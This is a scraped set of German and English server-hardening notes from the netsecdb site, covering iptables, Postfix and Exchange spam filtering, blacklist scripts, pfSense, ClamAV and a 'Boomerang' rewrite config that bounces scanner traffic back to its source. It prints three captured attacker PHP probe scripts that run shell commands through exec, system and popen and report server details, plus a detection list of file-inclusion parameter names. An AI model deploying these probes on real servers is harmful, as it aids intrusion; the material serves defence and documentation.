Modify the downloaded firewall shell-script to your needs.
After running it check rules with iptables -L -n (or just count number with iptables -L -n | wc -l).

By means of 'iptables-save -c > /netsecdb.iptables' you save your current setup.

Using 'cat /netsecdb.iptables | iptables-restore -c' restores the settings within seconds.

check, if your postfix supports regex:

postconf -m

btree
cidr
environ
hash
nis
proxy

---> regexp

sdbm
static
tcp
unix

See postfix manpage.

create inputfile:

# dummy filters
/^Subject: VIAGRA/ REJECT
/^To: me@unknown\.com/ REJECT

make db:
postmap -q - regexp:/etc/postfix/regexp_table

check main.cf (to be found in /etc/postfix):

header_checks =
regexp:/etc/postfix/regexp_table
pcre:/etc/postfix/regexp_table

should work now - watch your logs.

This is how MMC looks without Antispam control-panels:

and after opening Exchange management command shell and running:

install-antispamagents.ps1

you will be asked to restart MTA - do this or simply reboot.

After that, Exchange MMC shows:




and

after running one of our MS-Exchange7 scripts,



you will find the CIDRs listed in console:


in this case it's the result of the time limited IPBlockList.

Read documentation on lvllord.de and download the according patch.

#!/bin/sh

if test -e /var/lock/ixblacklist.lck

then
exit
else
touch /var/lock/ixblacklist.lck
cd /my_workdir
# files holen
wget -o /var/log/getixblacklist.log -O /my_workdir/nixspam.blackmatches http://www.ix.de/nixspam/nixspam.blackmatches
# nach ip sortieren und doubletten rauswerfen
cat nixspam.blackmatches | cut -d' ' -f2 | sort -u >nixspam.ips

mv /my_workdir/nixspam.ips /my_workdir/nixspam.ips.working
touch /my_workdir/nixspam.ips
cat /my_workdir/nixspam.ips.working |
while read line; do
# every single IP gets passed to my script as argument
/whereverscriptislocated/my_processing_script.sh $line;
done
cat /my_workdir/nixspam.ips.working >>/my_workdir/unique_ips.done
rm /var/lock/ixblacklist.lck
fi

# hide values
uri_whitespace strip

forwarded_for off
via off
httpd_suppress_version_string on

This is meant for units in DialUp-Nets that preserve local logs without submitting to syslog.

I will put the changed files into users dowload area.

just a short sum-up:

Log into pfsense as root by means of ssh. Get a shell with option 8.
cd /usr/local/www
Put javascript popup functions after latest endif in file head.inc.

Change code in diag_logs_filter.php that outputs filter logs.

instead of
htmlspecialchars($filterent['src']);
and
htmlspecialchars($filterent['dst']);

we create links to directly open popup and jump into netsecdb window.

You have to be logged in into netsecdb with proper access-rights.

Easy modifiation that takes approx. 5-10 minutes.

This way, checking pfsense Logs from DialUp-Locations and tagging in netsecdb is just 3 mouseclicks away.

Unter Windows\System32\WindowsPowerShell\v1.0\en-EN zu de-DE umkopieren oder, sobald verfügbar, eine lokalisierte Version der Hilfe installieren.

Die PowerShell als Administrator ausführen und wie folgt vorgehen:

Get-ExecutionPolicy

Set-ExecutionPolicy Unrestricted

>Jetzt können die scripts abgearbeitet werden

Set-ExecutionPolicy RemoteSigned

alt:
ini_set("memory_limit","32M");

neu:
ini_set("memory_limit","64M");
bei wenig Speicher im System mit
ini_set("memory_limit","48M");
versuchen.

Diese Einstellungen wurden NICHT auf embedded-Systemen getestet.

Beim Import von aliasen mit vielen Netzen über die Restore-Funktion gibt es ohne Hochsetzen der Speicherzuweisung sonst eine Fehlermeldung und der Import wird abgebrochen.

Get yourself clamav and add a small cronjob like this in your subdirectory /etc/cron.weekly:

cat checkwebcontent:

--- snip ---
#!/bin/sh
cd /srv/www/vhosts #basedir of all vhosts - must match your structure
# the following name differs, might be htdocs instead
/usr/bin/nice /usr/bin/clamscan -r -i */httpdocs/* | mail -s 'contentcheck hostname' admin@yourserver.ltd
# do not forget to chenge email adress ;)
--- snip ---

Do not forget to 'chmod +x checkwebcontent' to make it executable

This will send a mail to admin with infected files in web-directories.

nice will make it runing smoother not taking priority on CPU.

Normally, one would regard this hint as wasting CPU time, but the increased number of hacked joomla websites and webmasters not beeing aware of it (their page is up, colourful and why should something be wrong with it?) give good reason to post this article.

Get yourself a browser that connects by means of tor/jap or similar.

Open scanning URL

this will redirect your request to the public IP seen by the server and that is: your proxy or tor exit-node IP.

This google bot gave a good example for HowTo:

crawl-66-249-72-110.googlebot.com - - [31/Oct/2008:18:22:20 +0100] "GET /index.php?error=justscanning HTTP/1.1" 302 305 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

writing a perl script for automated scanning requests is stupid simple with libwww-perl.

Any of request based on this agent will be redirected to source IP.

See netsecdb Boomerang-config for more info.


Dear tor/jap and other proggers:

Implement the outstanding regex-filtering for any ?somthing=http://host/exploiturl from passing the net for your node's and other server's safety.

This will help community as a whole and safety of your nodes in special.

To compare it again with a weapon:
every bullet coming from your source will be bounced back to origin. You only transported it? - so keep the risk for it on your own.
Many people stated that colletaral damages are a risk to be taken for anonymous surfing - now you stand yourself in the line of fire - enjoy it.

If you like to complain - we now just share your point of view ;)

you may just use boomerang.netsecdb.de for that purpose - it redirets ANY GET or PUT ;)

THIS IS A VERY OLD VERSION - current version available in user->files section.

# Various rewrite rules.
--IfModule mod_rewrite.c--
RewriteEngine on

# B O O M E R A N G - Config
# powered by www.netsecdb.de
# service@netsecdb.de
# with additions from phishmail.de

# Today's Hackers
# - do not read documentation
# - like attacking themselves
# - for hours - for days - for weeks - over and over
# Have fun with 302-messages from your logfile

# Rewrite URLs of the form 'x' to the form 'index.php?q=x'.
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=/favicon.ico
RewriteRule ^(.*)$ index.php?q=$1 [L,QSA]
RewriteCond %{QUERY_STRING} (spaw_root|sIncPath|prefix|cmd|view|base_folder|_ENV\[asicms\]\[path\]|cfg\[path\]\[contenid
o\]|custompluginfile|vsDragonRootPath|dir|cfgProgDir|string|path|lang_settings\[0\]\[1\]|fromTemplate|ar|new_exbb\[home_pa
th\]|com_extcalendar|component|htmlclass_path|commonpath|dir|path_escape|path\[docroot\]|jamroom\[jm_dir\]|rootdir|jamroom
[jm_dir]|path%5Bdocroot%5D|a|where_framework|_CONF[path]|phpbb_root_path|appserv_root|CONFIG_EXT\[ADMIN_PATH\]|dirDepth|cu
stompluginfile\[\]|adresa|mosConfig_absolute_path|_zb_path|config\[root_dir\]|config\[root_dir\]|error|vwar_root|shop_this
_skin_path|DOCUMENT_ROOT|PHPFFL_FILE_ROOT)=(.*)

RewriteCond %{HTTP_USER_AGENT} ^.*libwww-perl.*$ [OR]
#RewriteRule ^(.*)$ http://www.bka.de/selbstanzeige/
#RewriteRule ^(.*)$ http://www.dasendedesinternet.de/
#RewriteRule ^(.*)$ http://www.cybercrime.gov/
#RewriteRule ^(.*)$ http://www.ic3.gov/
#RewriteRule ^(.*)$ http://127.0.0.1/
#
#Finally decided for public IP of source - that hacks tor exit node/proxy that submitted this waste
# in addition it's the easiest way to scan for tor-exit nodes from inside tor-net
# i checked tor and jap sources - no chance for regex filtering out attack-URL's - so let's return package to sender
#
#RewriteRule ^(.*)$ http://%{REMOTE_ADDR}/
#
# Kontrolle muss sein :)
RewriteRule ^(.*)$ http://daten-speicherung.de/kontrolle_muss_sein.mp3

RewriteCond %{HTTP_USER_AGENT} ^.*libwww-perl.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Java/1.6.0_04.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*WinHttpRequest.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*avantbrowser.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Indy.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*LinkLint.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*WebCapture.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Baiduspider.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^$
# RewriteRule ^(.*)$ http://%{REMOTE_ADDR}/
# Kontrolle muss sein
RewriteRule ^(.*)$ http://daten-speicherung.de/kontrolle_muss_sein.mp3

RewriteCond %{REMOTE_HOST} ^(.*)\.perfect-privacy\.com [NC]
# RewriteRule ^(.*)$ http://%{REMOTE_ADDR}/
# Kontrolle muss sein :)
RewriteRule ^(.*)$ http://daten-speicherung.de/kontrolle_muss_sein.mp3

RewriteCond %{REQUEST_URI} ^.*ftp.*$
# RewriteRule ^(.*)$ http://%{REMOTE_ADDR}/
# Kontrolle mus sein :)
RewriteRule ^(.*)$ http://daten-speicherung.de/kontrolle_muss_sein.mp3
--/IfModule--

So wird ein Aufruf z.B. auf eine mp3-Datei eines anderen vhosts umgeleitet. Alle Server leiten dahin um und ein zentrales script kann später die Angriffe auswerten und die Netze automatisiert nach den verschiedensten Kriterien in der Datenbank als gesperrt markieren, da die Angriffsparameter an den mp3-Aufruf übergeben werden:

llf531196.crawl.yahoo.net - - [04/Dec/2008:02:43:19 +0100] "GET /index.php?error=justscanning HTTP/1.0" 302 344 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"

redirected:

74.6.18.228 - - [04/Dec/2008:02:43:32 +0100] "GET /assets/media/loosingyouraimsjingle.mp3?error=justscanning HTTP/1.0" 200 327899 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"

Je nach Systemkonfiguration schreibt Postfix erfolgreich durch netsecdb-Daten geblockte E-Mail in die Log-Dateien. Eben diese Einträge werden dann bei entsprechender Konfiguration von logcheck als Anomalie erkannt und in der Folge auch dem Admin per E-Mail gemeldet. Dies zusammen mit all den anderen Meldungen, sofern denn welche erkannt worden sind.

Die Meldungs E-Mail von logcheck werden dadurch ziemlich unübersichtlich. Diesen Umstand kann man verbessern, indem man logcheck beibringt die Postfix-Einträge betreffend der netsecdb-Spammeldungen zu ignorieren..

Bei einem Debian-System wird dazu folgendes benötigt:
1. Eine Datei 'local-rules' im Verzeichnis '/etc/logcheck/ignore.d.server'
2. Als Inhalt genügt folgende Zeile 'netsecurity-db status: [^[:space:]]+ recorded as spammer'

Ab dem nächsten Check, normalerweise erfolgt dieser stündlich, werden die Postfix-Einträge erfolgreicher Blockaktionen durch die netsecdb unterdrückt und nicht mehr per E-Mail zugesandt.

Die netsecdb generiert ebenso eine blacklist in Form der hosts.deny aber ebenso eine whitelist in Form der hosts.allow.

Beide Dateien sind auf die Verwendung mit Plesk/qmail/(x)inetd abgestimmt.

Um Verbindungen einzelner Server aus einem gesperten Netz zuzulassen, haben wir das whitelisting eingeführt.

Für jeden Server kann eine Freigabe von http/smtp/ANY erfolgen.

Die Regeln für diese Freigabe haben eine höhere Priorität als die Sperrung von Netzblöcken.

Die hosts.allow steht ebenso wie die hosts.deny im useraccount und per autoupdate zur Verfügung.

In diesem Fall wird beim start vom inetd der Parameter "-l" nicht mit übergeben. Ich konnte das beheben indem ich die folgende Zeile in meine /etc/init.d/inetd eingefügt habe...

OPTIONS="-l"

Dadurch wird der Parameter beim Start mit übergeben was bewirkt, das libwrap Verbindungen geloggt werden.

/etc/exim4/local_host_blacklist
is an optional file containing a list of IP addresses, networks and host names whose messages will be denied with the error message "locally blacklisted".

we additionally add netsecdb's record id and country above the cidr-line.

man.root.cz/5/exim4-config-files

Nachdem wohl einige Orientierungsprobleme haben:

87.106.7.166 - - [27/Jul/2008:02:49:20 +0200] "GET /?q=rss.xml HTTP/1.1" 404 6035 "http://www.netsecdb.de/?q=rss.xml" "RSS-Suchmaschine.de Bot 0.1 beta"

209.73.254.124 - - [05/Aug/2008:02:43:16 +0200] "GET /index.rdf HTTP/1.1" 404 6095 "-" "libwww-perl/5.65"
209.73.254.124 - - [05/Aug/2008:02:43:33 +0200] "GET /rss.php HTTP/1.1" 404 6095 "-" "libwww-perl/5.65"
209.73.254.124 - - [05/Aug/2008:02:43:29 +0200] "GET /atom.xml HTTP/1.1" 404 6095 "-" "libwww-perl/5.65"
209.73.254.124 - - [05/Aug/2008:02:43:20 +0200] "GET /index.rss HTTP/1.1" 404 6095 "-" "libwww-perl/5.65"
209.73.254.124 - - [05/Aug/2008:02:43:25 +0200] "GET /b2rdf.php HTTP/1.1" 404 6095 "-" "libwww-perl/5.65"
209.73.254.124 - - [05/Aug/2008:02:43:08 +0200] "GET /index.xml HTTP/1.1" 404 6095 "-" "libwww-perl/5.65"

hier einmal der Link zum RRS-Feed:

www.netsecdb.de/index.php?q=rss.xml

---------------------------------
bot.txt\?\?

---------------------------------
SysTrojan
Wrong Place

if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}else{
echo("Safe Mode of this Server is : ");
echo("SafemodeON");
}
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
exit;

----------------------------
safe.txt\?\?
----------------------------

$dir = @getcwd();
echo "Mic22";
$OS = @PHP_UNAME();
echo "OSTYPE:$OS";
$free = disk_free_space($dir);

if ($free === FALSE) {$free = 0;}

if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."";

$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;

function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}

function view_size($size)

{

if (!is_numeric($size)) {return FALSE;}

else

{

if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}

elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}

elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}

else {$size = $size . " B";}

return $size;

}}

exit;

-----------------------------------------------------
id.txt
-----------------------------------------------------
function ConvertBytes($number)
{
$len = strlen($number);
if($len < 4)
{
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6)
{
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9)
{
return sprintf("%0.2f Mb", $number/1024/1024);
}

return sprintf("%0.2f Gb", $number/1024/1024/1024);

}

echo "Osirys";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Naiz was here ..";
echo "uname -a: $un";
echo "os: $os";
echo "uptime: $up";
echo "id: $id1";
echo "pwd: $pwd1";
echo "php: $php1";
echo "software: $sof1";
echo "server-name: $name1";
echo "server-ip: $ip1";
echo "free: $free";
echo "used: $used";
echo "total: $all";
exit;

Wir benutzen zum schnellen Filtern der mails (eingehend und ausgehend) den qmail wrapper von www.enderunix.org/qsheff/

Vorteil: Virusfilterung (clamav) und Spam-Filterung (spamassassin auf 1-user-Ebene) werden noch vor der mailqueue erledigt und faule Mails rejected.

Die qsheff.rules enthalten unsere aktuellen Filterregeln, die wir auf srv01 und srv07 produktiv einsetzen.

Der Mensch ist ja neugierig und da gehör ich auch dazu. Daher wollte ich wissen, was mir netsecdb denn überhaupt so bringt. Mit Unterstützung von claus habe ich mir einen kleinen Spam-Counter (ähnlich dem auf dieser Seite - Top 25) erstellt.

Voraussetzung ist eine mysql-db und php. Mittels einem PHP-Script werden die Daten aus der aktuellen Log-Datei ausgelesen (bei mir ist es die /var/log/syslog) und in die DB eingetragen. Aus dieser Log-Datei habe ich immer die Werte eines ganzen Tages. Danach kommt logrotate zum Zuge und die Zählerei beginnt von vorne. Das Script läuft mittels eines cron-jobs alle 30 Min so habe ich einigermassen aktuelle Daten.

Nun aber zum eigentlichen ..

Zuerst zur Datenbank und die benötigte Tabelle. In diesem Beispiel heisst die Datenbank 'spamcounter'. In diese soll folgende Tabelle.

CREATE TABLE `spamstats` (
`id` bigint(20) NOT NULL auto_increment,
`country` text character set utf8 NOT NULL,
`number` bigint(20) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=235 DEFAULT CHARSET=latin1 COMMENT='number of spams per country in logfile' AUTO_INCREMENT=235 ;

Dann brauchts die Standardwerte für die Tabelle.

INSERT INTO `spamstats` VALUES (1, 'US', 0);
INSERT INTO `spamstats` VALUES (2, 'CH', 0);
INSERT INTO `spamstats` VALUES (3, 'NL', 0);
INSERT INTO `spamstats` VALUES (4, 'GB', 0);
INSERT INTO `spamstats` VALUES (5, 'BE', 0);
INSERT INTO `spamstats` VALUES (6, 'FR', 0);
INSERT INTO `spamstats` VALUES (7, 'AF', 0);
INSERT INTO `spamstats` VALUES (8, 'AL', 0);
INSERT INTO `spamstats` VALUES (9, 'DZ', 0);
INSERT INTO `spamstats` VALUES (10, 'AS', 0);
INSERT INTO `spamstats` VALUES (11, 'AD', 0);
INSERT INTO `spamstats` VALUES (12, 'AI', 0);
INSERT INTO `spamstats` VALUES (13, 'AQ', 0);
INSERT INTO `spamstats` VALUES (14, 'AG', 0);
INSERT INTO `spamstats` VALUES (15, 'AR', 0);
INSERT INTO `spamstats` VALUES (16, 'AM', 0);
INSERT INTO `spamstats` VALUES (17, 'AW', 0);
INSERT INTO `spamstats` VALUES (18, 'AZ', 0);
INSERT INTO `spamstats` VALUES (19, 'BS', 0);
INSERT INTO `spamstats` VALUES (20, 'BH', 0);
INSERT INTO `spamstats` VALUES (21, 'BD', 0);
INSERT INTO `spamstats` VALUES (22, 'BB', 0);
INSERT INTO `spamstats` VALUES (23, 'BY', 0);
INSERT INTO `spamstats` VALUES (24, 'BZ', 0);
INSERT INTO `spamstats` VALUES (25, 'BJ', 0);
INSERT INTO `spamstats` VALUES (26, 'BM', 0);
INSERT INTO `spamstats` VALUES (27, 'BT', 0);
INSERT INTO `spamstats` VALUES (28, 'BO', 0);
INSERT INTO `spamstats` VALUES (29, 'BA', 0);
INSERT INTO `spamstats` VALUES (30, 'BW', 0);
INSERT INTO `spamstats` VALUES (31, 'BV', 0);
INSERT INTO `spamstats` VALUES (32, 'BR', 0);
INSERT INTO `spamstats` VALUES (33, 'IO', 0);
INSERT INTO `spamstats` VALUES (34, 'BN', 0);
INSERT INTO `spamstats` VALUES (35, 'BG', 0);
INSERT INTO `spamstats` VALUES (36, 'BF', 0);
INSERT INTO `spamstats` VALUES (37, 'BI', 0);
INSERT INTO `spamstats` VALUES (38, 'KH', 0);
INSERT INTO `spamstats` VALUES (39, 'CM', 0);
INSERT INTO `spamstats` VALUES (40, 'CV', 0);
INSERT INTO `spamstats` VALUES (41, 'KY', 0);
INSERT INTO `spamstats` VALUES (42, 'CF', 0);
INSERT INTO `spamstats` VALUES (43, 'TD', 0);
INSERT INTO `spamstats` VALUES (44, 'CL', 0);
INSERT INTO `spamstats` VALUES (45, 'CN', 0);
INSERT INTO `spamstats` VALUES (46, 'CX', 0);
INSERT INTO `spamstats` VALUES (47, 'CC', 0);
INSERT INTO `spamstats` VALUES (48, 'RS', 0);
INSERT INTO `spamstats` VALUES (49, 'CO', 0);
INSERT INTO `spamstats` VALUES (50, 'KM', 0);
INSERT INTO `spamstats` VALUES (51, 'CG', 0);
INSERT INTO `spamstats` VALUES (52, 'CD', 0);
INSERT INTO `spamstats` VALUES (53, 'CK', 0);
INSERT INTO `spamstats` VALUES (54, 'CR', 0);
INSERT INTO `spamstats` VALUES (55, 'CI', 0);
INSERT INTO `spamstats` VALUES (56, 'HR', 0);
INSERT INTO `spamstats` VALUES (57, 'CU', 0);
INSERT INTO `spamstats` VALUES (58, 'CY', 0);
INSERT INTO `spamstats` VALUES (59, 'CZ', 0);
INSERT INTO `spamstats` VALUES (60, 'DK', 0);
INSERT INTO `spamstats` VALUES (61, 'DJ', 0);
INSERT INTO `spamstats` VALUES (62, 'DM', 0);
INSERT INTO `spamstats` VALUES (63, 'DO', 0);
INSERT INTO `spamstats` VALUES (64, 'EC', 0);
INSERT INTO `spamstats` VALUES (65, 'EG', 0);
INSERT INTO `spamstats` VALUES (66, 'SV', 0);
INSERT INTO `spamstats` VALUES (67, 'GQ', 0);
INSERT INTO `spamstats` VALUES (68, 'ER', 0);
INSERT INTO `spamstats` VALUES (69, 'EE', 0);
INSERT INTO `spamstats` VALUES (70, 'ET', 0);
INSERT INTO `spamstats` VALUES (71, 'FK', 0);
INSERT INTO `spamstats` VALUES (72, 'FO', 0);
INSERT INTO `spamstats` VALUES (73, 'FJ', 0);
INSERT INTO `spamstats` VALUES (74, 'FI', 0);
INSERT INTO `spamstats` VALUES (75, 'GF', 0);
INSERT INTO `spamstats` VALUES (76, 'PF', 0);
INSERT INTO `spamstats` VALUES (77, 'TF', 0);
INSERT INTO `spamstats` VALUES (78, 'GA', 0);
INSERT INTO `spamstats` VALUES (79, 'GM', 0);
INSERT INTO `spamstats` VALUES (80, 'GE', 0);
INSERT INTO `spamstats` VALUES (81, 'GH', 0);
INSERT INTO `spamstats` VALUES (82, 'GI', 0);
INSERT INTO `spamstats` VALUES (83, 'GR', 0);
INSERT INTO `spamstats` VALUES (84, 'GL', 0);
INSERT INTO `spamstats` VALUES (85, 'GD', 0);
INSERT INTO `spamstats` VALUES (86, 'GP', 0);
INSERT INTO `spamstats` VALUES (87, 'GU', 0);
INSERT INTO `spamstats` VALUES (88, 'GT', 0);
INSERT INTO `spamstats` VALUES (89, 'GN', 0);
INSERT INTO `spamstats` VALUES (90, 'GW', 0);
INSERT INTO `spamstats` VALUES (91, 'GY', 0);
INSERT INTO `spamstats` VALUES (92, 'HT', 0);
INSERT INTO `spamstats` VALUES (93, 'HM', 0);
INSERT INTO `spamstats` VALUES (94, 'VA', 0);
INSERT INTO `spamstats` VALUES (95, 'HN', 0);
INSERT INTO `spamstats` VALUES (96, 'HK', 0);
INSERT INTO `spamstats` VALUES (97, 'HU', 0);
INSERT INTO `spamstats` VALUES (98, 'IS', 0);
INSERT INTO `spamstats` VALUES (99, 'IN', 0);
INSERT INTO `spamstats` VALUES (100, 'ID', 0);
INSERT INTO `spamstats` VALUES (101, 'IR', 0);
INSERT INTO `spamstats` VALUES (102, 'IQ', 0);
INSERT INTO `spamstats` VALUES (103, 'IL', 0);
INSERT INTO `spamstats` VALUES (104, 'JM', 0);
INSERT INTO `spamstats` VALUES (105, 'JP', 0);
INSERT INTO `spamstats` VALUES (106, 'JO', 0);
INSERT INTO `spamstats` VALUES (107, 'KZ', 0);
INSERT INTO `spamstats` VALUES (108, 'KE', 0);
INSERT INTO `spamstats` VALUES (109, 'KI', 0);
INSERT INTO `spamstats` VALUES (110, 'KP', 0);
INSERT INTO `spamstats` VALUES (111, 'KR', 0);
INSERT INTO `spamstats` VALUES (112, 'KW', 0);
INSERT INTO `spamstats` VALUES (113, 'KG', 0);
INSERT INTO `spamstats` VALUES (114, 'LA', 0);
INSERT INTO `spamstats` VALUES (115, 'LV', 0);
INSERT INTO `spamstats` VALUES (116, 'LB', 0);
INSERT INTO `spamstats` VALUES (117, 'LS', 0);
INSERT INTO `spamstats` VALUES (118, 'LR', 0);
INSERT INTO `spamstats` VALUES (119, 'LY', 0);
INSERT INTO `spamstats` VALUES (120, 'LT', 0);
INSERT INTO `spamstats` VALUES (121, 'MO', 0);
INSERT INTO `spamstats` VALUES (122, 'MK', 0);
INSERT INTO `spamstats` VALUES (123, 'MG', 0);
INSERT INTO `spamstats` VALUES (124, 'MW', 0);
INSERT INTO `spamstats` VALUES (125, 'MY', 0);
INSERT INTO `spamstats` VALUES (126, 'MV', 0);
INSERT INTO `spamstats` VALUES (127, 'ML', 0);
INSERT INTO `spamstats` VALUES (128, 'MT', 0);
INSERT INTO `spamstats` VALUES (129, 'MH', 0);
INSERT INTO `spamstats` VALUES (130, 'MQ', 0);
INSERT INTO `spamstats` VALUES (131, 'MR', 0);
INSERT INTO `spamstats` VALUES (132, 'MU', 0);
INSERT INTO `spamstats` VALUES (133, 'YT', 0);
INSERT INTO `spamstats` VALUES (134, 'MX', 0);
INSERT INTO `spamstats` VALUES (135, 'FM', 0);
INSERT INTO `spamstats` VALUES (136, 'MD', 0);
INSERT INTO `spamstats` VALUES (137, 'MC', 0);
INSERT INTO `spamstats` VALUES (138, 'MN', 0);
INSERT INTO `spamstats` VALUES (139, 'MS', 0);
INSERT INTO `spamstats` VALUES (140, 'MA', 0);
INSERT INTO `spamstats` VALUES (141, 'MZ', 0);
INSERT INTO `spamstats` VALUES (142, 'MM', 0);
INSERT INTO `spamstats` VALUES (143, 'NA', 0);
INSERT INTO `spamstats` VALUES (144, 'NR', 0);
INSERT INTO `spamstats` VALUES (145, 'NP', 0);
INSERT INTO `spamstats` VALUES (146, 'AN', 0);
INSERT INTO `spamstats` VALUES (147, 'NC', 0);
INSERT INTO `spamstats` VALUES (148, 'NZ', 0);
INSERT INTO `spamstats` VALUES (149, 'NI', 0);
INSERT INTO `spamstats` VALUES (150, 'NE', 0);
INSERT INTO `spamstats` VALUES (151, 'NG', 0);
INSERT INTO `spamstats` VALUES (152, 'NU', 0);
INSERT INTO `spamstats` VALUES (153, 'NF', 0);
INSERT INTO `spamstats` VALUES (154, 'MP', 0);
INSERT INTO `spamstats` VALUES (155, 'NO', 0);
INSERT INTO `spamstats` VALUES (156, 'OM', 0);
INSERT INTO `spamstats` VALUES (157, 'PK', 0);
INSERT INTO `spamstats` VALUES (158, 'PW', 0);
INSERT INTO `spamstats` VALUES (159, 'PS', 0);
INSERT INTO `spamstats` VALUES (160, 'PA', 0);
INSERT INTO `spamstats` VALUES (161, 'PG', 0);
INSERT INTO `spamstats` VALUES (162, 'PY', 0);
INSERT INTO `spamstats` VALUES (163, 'PE', 0);
INSERT INTO `spamstats` VALUES (164, 'PH', 0);
INSERT INTO `spamstats` VALUES (165, 'PN', 0);
INSERT INTO `spamstats` VALUES (166, 'PL', 0);
INSERT INTO `spamstats` VALUES (167, 'PT', 0);
INSERT INTO `spamstats` VALUES (168, 'PR', 0);
INSERT INTO `spamstats` VALUES (169, 'QA', 0);
INSERT INTO `spamstats` VALUES (170, 'RE', 0);
INSERT INTO `spamstats` VALUES (171, 'RO', 0);
INSERT INTO `spamstats` VALUES (172, 'RU', 0);
INSERT INTO `spamstats` VALUES (173, 'RW', 0);
INSERT INTO `spamstats` VALUES (174, 'SH', 0);
INSERT INTO `spamstats` VALUES (175, 'KN', 0);
INSERT INTO `spamstats` VALUES (176, 'LC', 0);
INSERT INTO `spamstats` VALUES (177, 'PM', 0);
INSERT INTO `spamstats` VALUES (178, 'VC', 0);
INSERT INTO `spamstats` VALUES (179, 'WS', 0);
INSERT INTO `spamstats` VALUES (180, 'SM', 0);
INSERT INTO `spamstats` VALUES (181, 'ST', 0);
INSERT INTO `spamstats` VALUES (182, 'SA', 0);
INSERT INTO `spamstats` VALUES (183, 'SN', 0);
INSERT INTO `spamstats` VALUES (184, 'CS', 0);
INSERT INTO `spamstats` VALUES (185, 'SC', 0);
INSERT INTO `spamstats` VALUES (186, 'SL', 0);
INSERT INTO `spamstats` VALUES (187, 'SG', 0);
INSERT INTO `spamstats` VALUES (188, 'SK', 0);
INSERT INTO `spamstats` VALUES (189, 'SI', 0);
INSERT INTO `spamstats` VALUES (190, 'SB', 0);
INSERT INTO `spamstats` VALUES (191, 'SO', 0);
INSERT INTO `spamstats` VALUES (192, 'ZA', 0);
INSERT INTO `spamstats` VALUES (193, 'GS', 0);
INSERT INTO `spamstats` VALUES (194, 'ES', 0);
INSERT INTO `spamstats` VALUES (195, 'LK', 0);
INSERT INTO `spamstats` VALUES (196, 'SD', 0);
INSERT INTO `spamstats` VALUES (197, 'A2', 0);
INSERT INTO `spamstats` VALUES (198, 'DE', 0);
INSERT INTO `spamstats` VALUES (199, 'A1', 0);
INSERT INTO `spamstats` VALUES (200, 'SR', 0);
INSERT INTO `spamstats` VALUES (201, 'SJ', 0);
INSERT INTO `spamstats` VALUES (202, 'SZ', 0);
INSERT INTO `spamstats` VALUES (203, 'SE', 0);
INSERT INTO `spamstats` VALUES (204, 'SY', 0);
INSERT INTO `spamstats` VALUES (205, 'TW', 0);
INSERT INTO `spamstats` VALUES (206, 'TJ', 0);
INSERT INTO `spamstats` VALUES (207, 'TZ', 0);
INSERT INTO `spamstats` VALUES (208, 'TH', 0);
INSERT INTO `spamstats` VALUES (209, 'TL', 0);
INSERT INTO `spamstats` VALUES (210, 'TG', 0);
INSERT INTO `spamstats` VALUES (211, 'TK', 0);
INSERT INTO `spamstats` VALUES (212, 'TO', 0);
INSERT INTO `spamstats` VALUES (213, 'TT', 0);
INSERT INTO `spamstats` VALUES (214, 'TN', 0);
INSERT INTO `spamstats` VALUES (215, 'TR', 0);
INSERT INTO `spamstats` VALUES (216, 'TM', 0);
